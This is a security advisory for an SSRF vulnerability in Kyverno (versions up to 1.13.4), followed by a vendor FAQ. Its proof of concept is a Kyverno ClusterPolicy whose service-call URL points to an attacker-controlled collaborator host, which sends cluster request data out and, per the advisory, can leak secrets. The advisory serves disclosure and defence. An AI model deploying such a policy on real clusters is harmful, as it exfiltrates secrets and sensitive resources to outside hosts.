GHSA-459X-Q9HG-4GPQ

An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.

Details

According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.

https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls

PoC

Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-namespaces      
spec:
  rules:
  - name: call-extension
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: result
      apiCall:
        method: POST
        data:
        - key: namespace
          value: "{{request.namespace}}"
        service:
          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          
    validate:
      message: "namespace {{request.namespace}} is not allowed"
      deny:
        conditions:
          all:
          - key: "{{ result.allowed }}"
            operator: Equals
            value: false

Now let's create some configmap:

kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm

Look at the Burp Collaborator logs:

An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

Kodem intelligence

1. What is GHSA-459X-Q9HG-4GPQ? GHSA-459X-Q9HG-4GPQ is a high-severity server-side request forgery (SSRF) vulnerability in github.com/kyverno/kyverno (go), affecting versions <= 1.13.4. No fixed version is listed yet. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. Which versions of github.com/kyverno/kyverno are affected by GHSA-459X-Q9HG-4GPQ? github.com/kyverno/kyverno (go) versions <= 1.13.4 is affected.
3. Is there a fix for GHSA-459X-Q9HG-4GPQ? No fixed version is listed for GHSA-459X-Q9HG-4GPQ yet. Monitor the advisory for updates and apply mitigations in the interim.
4. Is GHSA-459X-Q9HG-4GPQ exploitable, and should I be worried? Whether GHSA-459X-Q9HG-4GPQ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-459X-Q9HG-4GPQ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-459X-Q9HG-4GPQ? No fixed version is listed yet. In the interim: Validate and restrict destination URLs against an allowlist. Block requests to private IP ranges and cloud metadata endpoints.